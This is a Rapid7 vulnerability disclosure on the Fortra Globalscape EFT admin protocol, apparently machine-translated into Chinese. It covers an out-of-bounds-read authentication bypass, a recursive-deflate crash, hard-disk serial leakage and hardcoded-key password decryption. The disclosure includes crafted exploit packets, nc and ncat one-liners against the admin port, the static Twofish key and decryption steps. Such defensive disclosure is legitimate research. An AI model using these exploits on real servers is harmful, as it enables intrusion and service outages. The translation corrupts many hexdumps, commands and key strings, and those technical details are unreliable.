最后更新于2023年12月27日(星期三)14:39:07 GMT

今年早些时候, Rapid7研究人员进行了一个项目来分析托管文件传输应用程序, 由于数量 最近的漏洞 discovered 在这些类型的应用中. 我们选择Fortra Globalscape EFT作为目标,因为它相当受欢迎,而且看起来足够复杂,有一些bug(加上), 它和GoAnywhere属于同一家公司, 被Cl0p勒索软件团伙利用了吗 今年早些时候). Today, 我们公开了在Globalscape管理服务器中发现的四个问题, 最糟糕的情况可能导致远程代码执行 SYSTEM 如果被成功利用(这很困难,我们将在下面看到).

我们报告的问题影响了Fortra Globalscape 8.0.x up to 8.1.0.14,除了一个以外,其余都是固定在8.1.0.16(突出的问题目前尚未解决,但较小):

  • CVE-2023-2989 -通过越界内存读取绕过认证(供应商咨询)
  • CVE-2023-2990 -递归deflestream导致的拒绝服务(供应商咨询)
  • CVE-2023-2991 -远程硬盘序列号泄露(供应商咨询)(目前未修复)
  • 附加问题-由于不安全的默认配置而导致密码泄露(供应商咨询)

我们在Globalscape version 8上执行了这些测试.1.0.在Windows Server 2022上是11,但在任何Windows版本上的影响应该是相同的.

Credit

这个问题是由 Ron Bowes of Rapid7. 我们按照Rapid7的漏洞披露政策进行披露.

Impact

最严重的漏洞cve -2023-2989的理论影响是远程代码执行 SYSTEM user. However, 开发依赖于各种复杂的环境和不太可能的猜测, 这意味着在野外被利用的几率很低(除非有人找到一种更可靠的利用方法)。.

技术细节

我们的研究项目集中在Globalscape管理服务器上, 它运行在TCP端口1100默认. 端口1100是特权用户使用远程管理客户端连接到服务时使用的接口, 以及管理员用来进行站点范围更改的界面(这意味着它不应该连接到公共互联网). 有效的管理会话可以在服务用户的上下文中在服务器上执行Windows命令, which is SYSTEM by default. 这意味着绕过服务器上的身份验证将直接导致远程代码执行.

我们将从详细介绍网络协议开始. 然后,了解了协议的工作原理,我们将研究每个问题.

协议的部分实现, 以及这些问题的概念证明, 都可以在Github项目称为 Gestalt. 我们将在每节课中链接到个人的概念证明.

Globalscape管理协议

要想让这个揭露的其余部分有意义, 我们需要了解一下Globalscape EFT使用的Globalscape管理协议. 因为我们没有源代码, 我们对协议的工作方式进行了反向工程,并尽可能地识别了名称和字段. 最初的协议实现在服务可执行文件中, cftpstes.exe,我们的在 libgestalt.rb.

Globalscape EFT的管理员服务是一个基于二进制的协议,默认情况下运行在TCP端口1100上. 每条消息都有一个短的(8字节)报头,后面是一个可选的正文中的零个或多个参数.

报头总是由两个32位小端字段组成:

  • (32位)数据包长度-作为TCP协议的一部分,用于从线路上读取完整的消息, 并且还告诉解析器何时停止读取数据包数据
  • (32位)消息ID -用于复用不同的消息类型(不需要验证), 允许的消息是0x01(登录), 0x138-0x13a(许可的东西))

如果消息长度大于8字节, 消息也有正文, 哪一个由一个或多个参数组成. 主体中的参数被格式化为非常典型的类型-长度-值(TLV)结构, 使用人类可读的字段名称来区分哪个字段是哪个字段. 机体结构为:

  • (32位)用户可读的字段名(如 PSWD 输入密码和 ADLN 用户名)
  • (32位)类型(类型几乎总是5, 哪个是长度前缀的自由格式数据, 但也存在其他类型。)
  • (Variable) Value; if the packet type is 5, it's a length-prefixed free-form data structure:
    • (32位)参数长度
    • (变量)值-根据字段名,值的结构不同

另一个值得注意的类型是1,在这种情况下,参数值是一个32位整数.

例如,下面是一个登录信息:

          |页眉|正文.......     
00000000  5e 00 00 00 01 00 00 00  50 53 57 44 05 00 00 00   ^....... PSWD....
00000010 24 000000 000000 000000 000 86 40 71 de d2 ea 9e 12 $... ... .@q.....
00000020 d5 ae 18 40 64 c4 04 Ed c1 08 78 b3 9e c6 4a 57   ...@d... ..x...JW
00000030 c6 1d b6 8d 49 24 0b 8b 41 44 4c 4e 05 000000 000   ....I$.. ADLN....
00000040 0a 000000 000 fc ff ff ff 72 00 6f 00 6e 00 41 4d   ........ r.o.n.AM
00000050  49 44 05 00 00 00 04 00  00 00 00 00 00 00         ID...... ......

我们可以将该消息分解为header和body,然后在body中命名参数:

  • 报头(8字节):
    • 长度:0x0000005e(94字节)
    • 消息id: 0x00000001 (login)
  • 正文(86字节):
    • Field 1:PSWD (加密的密码)
      • 0x00000005 - type
      • 0x00000024 -长度(0x24字节)
      • \ x20 \ x00 \ x00 \ x00 \ x86 \ x40... - value(带长度前缀的加密密码)
    • Field 2: ADLN (username)
      • 0x00000005 - type
      • 0x0000000a -长度(0x0a字节)
      • \ xfc \ xff \ xff \ xff \ x72 \ x00 \ x6f \ x00 \ x6e \ x00 - value(“ron”w/倒长度前缀(似乎表示UTF-16编码))
    • Field 3: AMID - login type
      • 0x00000005 - type
      • 0x00000004 -长度(4字节)
      • 0x00000000 - value (0 = EFT认证)

所有消息都遵循此结构, 尽管每个消息ID都有一组不同的所需参数. 命名参数不需要以任何特定的顺序排列.

Compression

一个特殊的消息ID, 0xff7f, 指示消息体是一个完整的消息(报头和全部)。, 压缩为Zlib deflate流. 上述相同登录消息的压缩版本可能如下所示:

000000005f000000007f000007f000008b63 60 60 60 04 _....... x..c```.
00000010 e2 80 e0 70 17 56 20 AD 02 c4 0a 40 dc e6 50 78   ...p.V . ...@..Px
00000020 ef d2 ab 79 42 57 d7 49 38 a4 1c 61 79 7b 90 a3   ...yBW.I 8..ay{..
00000030 62 f3 BC 63 5e e1 c7 64 b7 f5 7a aa 70 77 3b ba b..c^..d ..z.pw;.
00000040 f8 f8 81 d4 73 01 f1 9f ff ff ff 17 31 e4 33 e4   ....s... ....1.3.
00000050 31 38 fa 7a 82 4d 61 61 80 000000 b2a 19 18 18.z.Maa ....*..

此压缩消息的长度为 0x0000005f,消息ID 0x0000ff7f,和一个身体 \x78\x9c\x8b..... The \x78 一开始就表明它可能是 deflate 流(它是). 如果我们使用 openssl 命令行工具来消除数据的泄气,我们会得到原始消息:

$ echo - ne " \ x78 \ x9c \ x8b \ x63 \ x60 \ x60 \ x60 \ x04 \ xe2 \ x80 \ xe0 \ x70 \ x17 \ x56 \ x20的\ xad \ x02 \ xc4 \ xdc \ xe6 \ \ x0a \ x40×50 \ x78 \ xef \ xd2 \ xab \ x79 \×\ x57 \ xd7 \ x49 \ x38 \ xa4 \ x1c \ x61 \ x79 \ x7b \ x90 \ xa3 \ x62 \ xf3 \ xbc \ x63 \ x5e \ xe1 \ xc7 \ x64 \ xb7 \ xf5 \ x7a \ xaa \ x70 \ x77 \ x3b \ xba \ xf8 \ xf8 \ x81 \ xd4 \ x73 \ x01 \ xf1 \ x9f \ xff \ xff \ xff \ x17 \ x31 \ xe4 \ x33 \ xe4 \ x31 \ x38 \ xfa \ x7a \ x82 \ x4d \ x61 \ x61 \ x80 \ x00 \ x00 \ xbd \ x2a \ x19 \ x18“| openssl zlib - d | hexdump - c
00000000  5e 00 00 00 01 00 00 00  50 53 57 44 05 00 00 00  |^.......PSWD....|
00000010 24 000000 000000 000000 86 40 71 de d2 ea 9e 12 |$... ....@q.....|
00000020 d5 ae 18 40 64 c4 04 Ed c1 08 78 b3 9e c6 4a 57 |...@d.....x...JW|
00000030 c6 1d b6 8d 49 24 0b 8b 41 44 4c 4e 05 000000 |....I$..ADLN....|
00000040 0a 000000 000 fc ff ff ff 72 00 6f 00 6e 00 41 4d |........r.o.n.AM|
00000050  49 44 05 00 00 00 04 00  00 00 00 00 00 00        |ID............|

本节的其余部分将演示我们在这个管理协议中发现的问题.

cve -2023-2989 -越界读取绕过认证

我们在Globalscape EFT管理服务器中发现了一个(盲)越界内存读取,它允许特制的消息解析内存中的任何位置的数据,就好像它是消息本身的一部分一样. 尽管很难利用, 攻击者可以潜在地利用这个问题,通过跳转到最近登录的另一个用户的登录消息并让解析器认为这是攻击者的登录消息来验证他们的身份. 我们通过开发一个相当简单的模糊器发现了这一点, 它主要只是在数据包中翻转随机比特, 你可以找到 here,然后确定为什么这个过程会以不同(但相似)的方式崩溃. 供应商已经发布了针对此问题的建议 here.

Successful exploitation requires a confluence of factors; namely, 攻击者必须在管理员之后不久登录, 而管理员的登录消息仍在堆上, 然后成功猜测其恶意消息与管理员登录消息之间的偏移量. 我们做了一些实验,缩小了堆布局,在理想条件下进行了几次尝试后就成功了. 你可以在我们的 概念验证,它以管理员身份登录,然后立即发送利用尝试. 在我们的实验室环境中,经过少量的尝试(平均5-10次),这通常是有效的。.

在上面的协议文档中, 我们注意到,消息开头的32位长度字段用作TCP协议的一部分,以准确地接收一条TCP消息. 这意味着,如果长度字段太大或太小,TCP就会中断 recv() 操作将接收请求的字节数(如果可以)和, 如果消息不完整或太长, 它将不会被处理. 这通常可以防止数据包解析器解析具有无效长度的消息.

However, 我们找到了创建消息的第二种方法,该消息可以由相同的协议解析器解析,但不能被解析 not 通过TCP:压缩消息! 当消息是 compressed,则不再涉及TCP堆栈,并且不以任何方式验证前缀长度. 消息解析器将尝试解析消息,直到它到达末尾, 如消息长度字段所示, no matter how much data there actually is; that could be well past the end of available memory.

我们可以通过创建一个长度非常非常长的消息(0x7fffffff),其参数声明为 0x41414141 字节长(许多其他变体也可以正常工作):

00000000 ff ff ff 7f 01 000000 000 50 53 57 44 05 000000 000000   ........ PSWD....
00000010 41 41 41 aaaa

如果我们直接发送,它将在服务器无法接收0x7fffffff字节后被拒绝. 然而,如果我们压缩消息,我们最终得到这个0x21字节的压缩版本:

00000000 21 00000000 7ff ff 0000 78 9c fb ff ff 7f 3d 23   !....... x.....=#
00000010 03 03 43 40 70 b8 0b 2b 90 76 04 02 00 51 27 05   ..C@p..+ .v...Q'.
00000020  c5                                                 .

我们可以用哪个发送 ncat 或者类似的工具:

$ echo '\x21\x00\x00\x00\x7f\xff\x00\x00\x78\x9c\xfb\xff\xff\x7f\x3d\x23\x03\x03\x43\x40\x70\xb8\x0b\x2b\x90\x76\x04\ x00\x51\x27\x05\xc5' | ncat 172.16.166.170 1100

TCP栈很容易将0x21(33)字节接收到缓冲区中. 然后它将该消息膨胀为0x14字节的未压缩数据, 包括巨大的(未经验证的)长度字段, 它假设哪个是正确的. 不出所料,这并不顺利! 因为这是随机堆上的堆溢出, 这个概念的证明并不是完全确定的, 但是经过几次尝试后,服务器应该会因为某种越界读取而崩溃. 这种崩溃可能发生在不同的地方,具体取决于它何时达到可用内存的极限, 这取决于它试图解析的内存中存在哪些其他值), 这就使得模糊器故障的分类变得很棘手了, 但这里有一个这样的崩溃:

(1bbc.87c):访问违规-代码c0000005(第一次机会)
在任何异常处理之前报告第一次机会异常.
这种异常是可以预料和处理的.
***警告:无法验证C:\Program Files\ Globalscape\EFT Server\cftpstes的校验和.exe
VCRUNTIME140!memcpy+0x627:
00007ff8 ' 0ddc1917 0f10441110 movups xmm0,xmmword PTR [rx +rdx+10h] ds:0000024b ' a61d0ff4=????????????????????????????????

从登记簿上我们可以看到 rdx,它在内存读取中使用,被设置为负值:

0:089> r
rbx=0000024ba61d1060 rbx= 0000024ba74a9d10
Rdx =fffffffffed272d4 rsi=0000000041414141 rdi=0000004d8611f418
Rip =00007ff80ddc1917 rsp=0000004d8611f368 rbp=0000024ba4ef8334
 R8 =0000000041414130 r9=0000000000025b19 r10=0000024ba4ef8334
R11 =0000024ba61d1060 r12=0000024ba4ef8320 r13=0000004d8611f748
r14=0000000000000000 r15=0000000044575350
Iopl =0 nv =0 nv =0 nv =0 nv =0 nv =0
Cs =0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
VCRUNTIME140!memcpy+0x627:
00007ff8 ' 0ddc1917 0f10441110 movups xmm0,xmmword PTR [rx +rdx+10h] ds:0000024b ' a61d0ff4=????????????????????????????????

这是调用堆栈,一直到 memcpy() 崩溃的地方:

0:089> k
 # Child-SP RetAddr呼叫站点
00 0000004d ' 8611f368 00007ff6'd3e1405b VCRUNTIME140!memcpy + 0 x627 (D: \ \ _work \ 1 \ s \ src \ vctools \ crt \ vcruntime \ src \ \ amd64 \ memcpy字符串.asm @ 735] 
01 0000004d ' 8611f370 00007ff6'd4011c2b cftpstes!OPENSSL_Applink + 0 xde5cb
02 0000004d ' 8611f3b0 00007ff6'd4011640 cftpstes!OPENSSL_Applink + 0 x2dc19b
03 0000004d ' 8611f570 00007ff6'd401169f cftpstes!OPENSSL_Applink + 0 x2dbbb0
04 0000004d ' 8611f640 00007ff6'd40ea977 cftpstes!OPENSSL_Applink + 0 x2dbc0f
05 0000004d ' 8611f710 00007ff6'd404430d cftpstes!OPENSSL_Applink + 0 x3b4ee7
06 0000004d ' 8611fa20 00007ff6'd3f84989 cftpstes!OPENSSL_Applink + 0 x30e87d
07 0000004d ' 8611fb10 00007ff6'd3dbf8f2 cftpstes!OPENSSL_Applink + 0 x24eef9
08 0000004d ' 8611fbe0 00007ff6'd3e2d87b cftpstes!OPENSSL_Applink + 0 x89e62
09 0000004d ' 8611fd10 00007ff8 ' 1ac06b4c cftpstes!OPENSSL_Applink + 0 xf7deb
0a 0000004d ' 8611fd50 00007ff8 ' 1bdb4dd0 ucrtbase!thread_start+0x4c
b 0000004d ' 8611fd80 00007ff8 ' 1d69e3db!BaseThreadInitThunk + 0 x10
0c 0000004d ' 8611fdb0 00000000 ' 00000000 NTDLL!RtlUserThreadStart + 0 x2b

最初,我们将其归类为拒绝服务并继续进行. 后来,我们意识到它实际上可以发挥更大的作用. 如果我们能构造一个登录信息, when parsed, 完美地跳转到另一个登录信息, 这就有机会在不知道其他用户的凭据的情况下使用它们.

开发一个可以做到这一点的漏洞, 我们连接了几千次, 并使用调试器来确定每次分配内存的位置. 因为ASLR(随机内存地址), 堆内存分配稍微有变化, 但我们确实缩小了范围. Specifically, 在实验中, 我们的登录消息是在内存地址上分配的,内存地址间隔是0x70字节的倍数, 而且通常靠得很近. 实验, 在Windows Server 2022上,两个连续消息之间最常见的距离是0x380字节, 但其他几种抵消也很常见. 我们开发了这个信息作为演示, 假设下一条消息在我们的消息之后0x4d0字节开始, 这是我们发现的第一个有效偏移量:

00000000  2e 05 00 00 01 00 00 00  61 61 61 61 05 00 00 00   ........ aaaa....
00000010  c4 04 00 00 00 00 00 00  61 61 61 61 61 61 61 61   ........ aaaaaaaa
00000020 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaa aaaaaaaa
00000030 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaa aaaaaaaa
00000040 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaa aaaaaaaa
00000050 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaa aaaaaaaa
00000060 61 61 61 61 61 61 61 aaaaaaaa 

其压缩为以下内容:

00000000 25 000000 7ff ff 0000 78 9c d3 63 65 60 60 64 %....... x..ce``d
00000010 60 60 48 04 02 20 93 e1 08 0b 03 18 24 52 19 00 ' ' H.. .. ....$R..
00000020  00 b7 34 20 d6                                     ..4 .

该消息声称长度为0x52e字节,这意味着,就解析器而言, our 消息将在 next 内存中的登录消息!

此恶意登录消息包含一个参数,该参数声称是0x4c4字节长,具有未使用的名称(aaaa). 当该参数被解析时, 解析器将读取(并丢弃)整个0x4c4字节字段, 因为一个叫做 aaaa 不是它关心的事情. But, 因为该字段的长度是0x4c4字节, 哪个不超过0x52e字节的数据包长度, 解析器稍后将检查下一个字段0x4d0字节, 下一条信息的正文从哪里开始. So, 解析器将愉快地继续解析第二条消息的正文,就好像它仍然是同一消息的一部分,直到它被解析 does 达到最大长度0x52e,这应该正是该消息结束的位置. 这意味着各种身份验证字段(用户名/密码)将来自该消息!

下面是攻击成功时的消息:

在(版本详情):

    00000000 2c 000000 000 2b 000000 000 56 52 53 4e 01 000000 000...+... VRSN....
    00000010  a0 01 00 80 50 54 59 50  01 00 00 00 00 00 00 00   ....PTYP ........
    00000020 4c 53 59 53 01 000000 000000 000 LSYS.... ....

Out(恶意压缩包):

00000000 25 000000 7ff ff 0000 78 9c d3 63 65 60 60 64 %....... x..ce``d
00000010 60 60 48 04 02 20 93 e1 08 0b 03 18 24 52 19 00 ' ' H.. .. ....$R..
00000020  00 b7 34 20 d6                                     ..4 .

在(登录成功):

    0000002C 96 18 000000 01 000000 000 41 44 4d 4e 05 000000 000000   ........ ADMN....
    0000003C 66 000000 000 fc ff ff ff 72 000 6f 00 6e 000000 000 f....... r.o.n...
    0000004C 0000 f4 98 aa 1a d0 15 54 fe at 1b 98 81 12 a9   ........ T.......
    0000005C 4f 45 000000 000000 000 01 000000 000000 000000 000000 000000 000000 000000 000000 000000 000000 000000 000 OE...... ........
    [...]

这种方法的成功率约为1 / 10, even under ideal conditions; however, 聪明的攻击者可以通过稍微修改堆来改进这一点. 因此,我们认为这是一个高风险的漏洞,应该这样对待.

cve -2023-2990递归压缩导致的拒绝服务漏洞

Globalscape EFT服务器可以通过发送递归压缩包(压缩)而崩溃。quine“去管理港口. 我们发布了一个概念验证 here. 供应商已发布公告 here.

我们在Globalscape EFT服务器中找到了以下函数,并调用了它 decompress_and_parse_packet,检查上面提到的特殊压缩消息ID (0xff7f):

.文本:00007 ff6d4011610 decompress_and_parse_packet(void *parsed . txt, void *packet, int length) proc near   ; CODE XREF: sub_7FF6D3E0D9F0+BAC↑p
.文本:00007 ff6d4011610                                                                 ; decompress_and_parse_packet+8A↓p ...
.文本:00007 ff6d4011610
; [......]
.文本:00007 ff6d4011632
.文本:00007 ff6d4011632                         check_for_compression:                  ; CODE XREF: decompress_and_parse_packet+19↑j
.文本:00007FF6D4011632 81 7A 04 7F FF 00 000 cmp dword ptr [rdx+4], 0FF7Fh ; <-- Compare the msgid to 0xff7f
.text:00007FF6D4011639 74 07                                   jz      short packet_is_compressed ; <-- Handle compressed messages
.text:00007FF6D401163B E8 90 000 000 000 call parse_packet
.text:00007FF6D4011640 eb6b jmp短返回
.text:00007FF6D4011642                         ; ---------------------------------------------------------------------------
; [...]
.text:00007FF6D4011642                         packet_is_compressed:                   ; CODE XREF: decompress_and_parse_packet+29↑j
.文本:00007FF6D4011642 8B 1A mov ebx, [rdx]
; [... 减压的东西 ...]
.文本:00007ff6d401168f4c8bc0 mov r8, rax
.文本:00007FF6D4011692 48 8B 54 24 28 mov rdx, [rsp+0C8h+var_A0]
.文本:00007FF6D4011697 48 8B CE mov rcx, rsi
.text:00007FF6D401169A E8 71 FF FF FF                          call    decompress_and_parse_packet ; <-- Recurse after decompressing
.文本:00007ff6d401169f8bd8 mov ebx, eax

因为函数解压缩后会递归, 带有适当标头的解压缩到自身的消息将无限递归,并迅速使Globalscape EFT服务器崩溃.

开发一个漏洞,我们发现 this post 关于如何生成具有任意标头的压缩队列, 它包含古老的Go源代码,可以生成几种不同格式的任意quine (.zip, .tar.gz, and .gz). We 更新Go代码 在现代版本的Go上编译,并输出一个原始的 deflate stream. 使用该工具的我们版本,我们开发了以下“quine”包,它也是可用的 在我们的概念证明存储库中:

00000000 00 7ff ff 0000 78 9c 7a c4 c0 c0 50 ff |........x.z...P.|
00000010 9f 81 a1 62 0e 00 1000 ff 7a c4 c0 c0 50 ff |...b......z...P.|
00000020 9f 81 62 0e 00 1000 ff 82 f1 61 7c 0000 |...b........a|..|
00000030 05 000 fa ff 82 f1 61 7c 00000 05 000 fa ff 00 05 |......a|........|
00000040 000 fa ff 00 14 000 eb ff 82 f1 61 7c 00000 05 000 |..........a|....|
00000050 fa ff 0005 000 fa ff 00 14 000 eb ff 42 88 21 c4 |............B.!.|
00000060 000000 000 14 000 eb ff 42 88 21 c4 000000 14 000 eb ff |......B.!.......|
00000070 42 88 21 c4 0000 14 00 eb ff 42 88 21 c4 0000 |B.!.......B.!...|
00000080 14 00 eb ff 42 88 21 c4 000000 0000 ff 0000 |....B.!.........|
0000009000 ff ff 00 17 00 e8 ff 42 88 21 c4 000000 000000 |........B.!.....|
000000a0 ff ff 000000 ff 00 17 00 e8 ff 42 12 46 16 |............B.F.|
00000000b00 06 0000000000ff ff 01 08 00f7 ff ff cc add 00 |................|
000000c0 000000 000 42 12 46 16 06 000000 000 ff ff 01 08 000 |...B.F..........|
000000d00 f7 ff aa bb cc dd 000000 00 |................|
000000e0  00 00                                             |..|

我们可以证明身体通过使用 openssl Zlib膨胀命令在213字节的消息体上:

$ dd if=递归.zlib bs=1 skip=8 count=213 2>/dev/null | openssl zlib -d | hexdump -C
00000000 00 7ff ff 0000 78 9c 7a c4 c0 c0 50 ff |........x.z...P.|
00000010 9f 81 a1 62 0e 00 1000 ff 7a c4 c0 c0 50 ff |...b......z...P.|
00000020 9f 81 62 0e 00 1000 ff 82 f1 61 7c 0000 |...b........a|..|
00000030 05 000 fa ff 82 f1 61 7c 00000 05 000 fa ff 00 05 |......a|........|
00000040 000 fa ff 00 14 000 eb ff 82 f1 61 7c 00000 05 000 |..........a|....|
00000050 fa ff 0005 000 fa ff 00 14 000 eb ff 42 88 21 c4 |............B.!.|
00000060 000000 000 14 000 eb ff 42 88 21 c4 000000 14 000 eb ff |......B.!.......|
00000070 42 88 21 c4 0000 14 00 eb ff 42 88 21 c4 0000 |B.!.......B.!...|
00000080 14 00 eb ff 42 88 21 c4 000000 0000 ff 0000 |....B.!.........|
0000009000 ff ff 00 17 00 e8 ff 42 88 21 c4 000000 000000 |........B.!.....|
000000a0 ff ff 000000 ff 00 17 00 e8 ff 42 12 46 16 |............B.F.|
00000000b00 06 0000000000ff ff 01 08 00f7 ff ff cc add 00 |................|
000000c0 000000 000 42 12 46 16 06 000000 000 ff ff 01 08 000 |...B.F..........|
000000d00 f7 ff aa bb cc dd 000000 00 |................|
000000e0  00 00                                             |..|

我们可以使用Netcat将该消息发送到Globalscape EFT管理端口:

$ nc -v 172.16.166.170 1100 < recursive.zlib
Ncat:版本7.93 (http://nmap).org/ncat )
Ncat:连接到172.16.166.170:1100.

观察由于堆栈耗尽而导致的服务器崩溃(在调试器中):

0:073> g
(12dc.1a68):堆栈溢出-代码c00000fd(第一次机会)
在任何异常处理之前报告第一次机会异常.
这种异常是可以预料和处理的.
ntdll!RtlpHpAllocVirtBlockCommitFirst + 0 x31:
00007ff8 ' 1d67f0dd e822220000调用NTDLL!RtlpGetHeapProtection (00007 ff8 ' 1 d681304)

我们可以查看调用堆栈,通过无限递归并耗尽所有堆栈内存来验证它确实崩溃了:

0:096> k
 # Child-SP RetAddr呼叫站点
000000a7'cb583ff0 00007ff8 ' 16d63f5a6 NTDLL!RtlpHpAllocVirtBlockCommitFirst + 0 x31
01 000000a7'cb584060 00007ff8 ' 1d63c4f9 NTDLL!RtlpAllocateHeap + 0 x1246
02 000000a7'cb584230 00007ff8 ' 1abeffa6 NTDLL!RtlpAllocateHeapInternal + 0 x6c9
***警告:无法验证C:\Program Files\ Globalscape\EFT Server\cftpstes的校验和.exe
03 000000a7'cb584340 00007ff6'd486b217底座!_malloc_base + 0 x36
04 000000a7'cb584370 00007ff6'd3de5803 cftpstes!OPENSSL_Applink + 0 xb35787
05 000000a7'cb5843a0 00007ff6'd43e17b4 cftpstes!OPENSSL_Applink + 0 xafd73
00007ff6'd4011660 cftpstes!OPENSSL_Applink + 0 x6abd24
07 000000a7'cb584400 00007ff6'd401169f cftpstes!OPENSSL_Applink + 0 x2dbbd0
08 000000a7'cb5844d0 00007ff6'd401169f cftpstes!OPENSSL_Applink + 0 x2dbc0f
09 000000a7'cb5845a0 00007ff6'd401169f cftpstes!OPENSSL_Applink + 0 x2dbc0f
0a 000000a7'cb584670 00007ff6'd401169f cftpstes!OPENSSL_Applink + 0 x2dbc0f
000000a7'cb584740 00007ff6'd401169f cftpstes!OPENSSL_Applink + 0 x2dbc0f
......

虽然从发展和数学的角度来看,这个漏洞本身很有趣, 这最终是拒绝服务, 并且没有代码执行或其他安全后果的可能性.

cve -2023-2991 -硬盘序列号泄露

托管Globalscape EFT实例的服务器的硬盘序列号可以通过请求TER(“试用扩展请求”)标识符派生. 据推测,这是用于唯一标识授权主机的标识符. 在此披露之时, 此问题未修复, 但也足够小,可以公开(供应商已将其作为知识库公开) here). 我们开发了一个概念验证,你可以下载 here.

如果我们向管理端口发送类型为0x138的空白(仅报头)消息, 它在字段中返回一个稍微混淆的base64字符串 HASH,这在内部称为“TER”:

$ echo -ne '\x08\x00\x00\x00\x38\x01\x00\x00' | nc.16.166.170 1100 | hexdump -C
[...]
00000020  [...]                                84 00 00 00  |            ....|
00000030  38 01 00 00 48 41 53 48  04 00 00 00 32 00 00 00  |8...HASH....2...|
00000040  2b 00 6b 00 34 00 56 00  47 00 30 00 41 00 54 00  |+.k.4.V.G.0.A.T.|
00000050  35 00 43 00 55 00 30 00  34 00 42 00 44 00 36 00  |5.C.U.0.4.B.D.6.|
00000060  30 00 5a 00 57 00 35 00  76 00 6d 00 30 00 47 00  |0.Z.W.5.v.m.0.G.|
00000070 4d 00 34 00 43 00 4a 00 57 00 7000 7000 6d 00 6500 |M.4.C.J.W.p.m.e.|
00000080 4c 00 53 00 2f 00 51 00 38 00 46 00 46 00 69 00 |L.S./.Q.8.F.F.i.|
00000090  30 00 6a 00 50 00 50 00  34 00 43 00 74 00 78 00  |0.j.P.P.4.C.t.x.|
000000a0 67 00 3d 00 45 52 52 52 01 00000 000000 000000 000000 000000.=.ERRR........|

的实际字符串 HASH field is + k4VG0AT5CU04BD60ZW5vm0GM4CJWpmeLS / Q8FFi0jPP4Ctxg =,它不能正确解码为base64:

$ echo -ne '+ k4vg0at5cu04bd60zw5vm0gm4cjwpels /Q8FFi0jPP4Ctxg=' | base64 -d
�N %�4��ѕ��m3��Z��- /��Qb�3��+ qbase64:无效的输入

我们对生成该值的函数进行了反向工程,并确定了六个字符-0, 8, 0, 0, 0, and 0-在偏移量14处插入base64字符串, 33, 5, 38, 21, and 11, 按照这个顺序(大概是为了混淆). 我们可以通过以相反的顺序删除这六个字符来撤消该过程, 这就留给我们新的base64字符串了 + k4VGAT5CU4BD6ZW5vmGM4CJWpmeLS / QFFijPP4Ctxg =. 固定的弦 does 成功解码为base64,为256位字符串:

$ echo -ne '+ k4vgat5cu4bd6zw5vmgm4cjwpels /QFFijPP4Ctxg=' | base64 -d | hexdump -C
00000000 fa 4e 15 18 04 f9 09 4e 01 0f a6 56 e6 f9 86 33 |.N.....N...V...3|                                                     
00000010 80 89 5a 99 9e 2d 2f d0 14 58 a3 3c fe 02 b7 18 |..Z..-/..X.<....|  

该字符串是硬盘序列号的SHA256. 在我的服务器上,序列号是 418934929, 这意味着我们可以自己计算SHA256摘要并验证它与服务器返回的字符串匹配:

$ echo -ne '418934929' | sha256sum
fa4e151804f9094e010fa656e6f9863380895a999e2d2fd01458a33cfe02b718 -

因为可能的序列号空间很小, 可以在几分钟内对整数值进行彻底的暴力强制, 即使是在笔记本电脑上:

$ time ruby ./ request-hdd-serial.rb
发送(“0800000038010000”):                                                                                                      
收到后:                                                                                                                      
{:length=>132,                                                                                                                     
 :msgid=>312,                                                                                                                      
 :args=>                                     
  {"HASH"=>                                  
    {:type=>:string,
     :length=>50,
     :data=>"+ k4VG0AT5CU04BD60ZW5vm0GM4CJWpmeLS / Q8FFi0jPP4Ctxg ="},
   "ERRR"=>{:type=>:int, :value=>0}}}
SHA256的串行= fa4e151804f9094e010fa656e6f9863380895a999e2d2fd01458a33cfe02b718

Trying 0...
在1048576...
在2097152...
在3145728...
在4194304...
[...]
在417333248...
在418381824...
找到序列号:418934929

________________________________________________________
公元431年执行.80秒外鱼
   用户时间426.37 secs    0.00微.37 secs
   系统时间0.07 secs  864.00微秒.07 secs

网络流量中的明文密码

默认情况下,远程管理服务器不使用SSL. 我们确定, 而在线路上传输的密码是加密的, 加密密钥是硬编码的,用户的密码可以从数据包捕获中恢复. We developed a tool 这样就可以了. 尽管我们选择不为这个问题分配CVE, 供应商已经在未来的版本中更新了默认SSL设置,并且已经发布 an advisory.

如上所述, 管理员可以执行Windows本地命令, 这意味着数据包捕获本质上导致远程代码执行, 除非管理员启用SSL.

下面是一个包含加密密码的登录消息示例:

00000000  5e 00 00 00 01 00 00 00  50 53 57 44 05 00 00 00  |^.......PSWD....|
00000010 24 000000 000000 000000 86 40 71 de d2 ea 9e 12 |$... ....@q.....|
00000020 d5 ae 18 40 64 c4 04 Ed c1 08 78 b3 9e c6 4a 57 |...@d.....x...JW|
00000030 c6 1d b6 8d 49 24 0b 8b 41 44 4c 4e 05 000000 |....I$..ADLN....|
00000040 0a 000000 000 fc ff ff ff 72 00 6f 00 6e 00 41 4d |........r.o.n.AM|
00000050  49 44 05 00 00 00 04 00  00 00 00 00 00 00        |ID............|

它包含三个字段: PSWD (password), ADLN (用户名) AMID (login type). 在本例中,我们只关心加密的密码字段(PSWD),其值为:

\ \ x86 \ x40 x71 \ xde \ xd2 \ xea \ x9e \ x12 \ xd5 \机加区\ x64 \ xc4 \ \ x18 \ x40 x04 \中\ xc1之前\ (\ x78 \ xb3 \ x9e \ . xc6 \ x4a \ x57 \ . xc6 \ x1d \ xb6 \ x8d \ x49 \ x24 \ x0b \ x8b

密码采用Twofish算法及静态密码匙(tfgry \ \ 0 \ \ \ 0 \ 0 \ \ \ 0 \ 0 \ 0)及空白IV. 这意味着密码可以通过网络完全解密(尽管一般的观察者可能会认为加密是有价值的)。. 下面是使用交互式Ruby shell解密密码的演示(irb) and the twofish gem:

安装twofish
[...]
$ irb

3.0.2 :001 > require 'twofish'
 => true

3.0.2 :002 > tf = Twofish.new("tfgry \ \ 0 \ \ \ 0 \ 0 \ \ \ 0 \ 0 \ 0", :padding => :zero_byte, :mode => :cbc)
 => #

3.0.2 :003 > tf.iv = "\0" * 16
 => "\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000" 

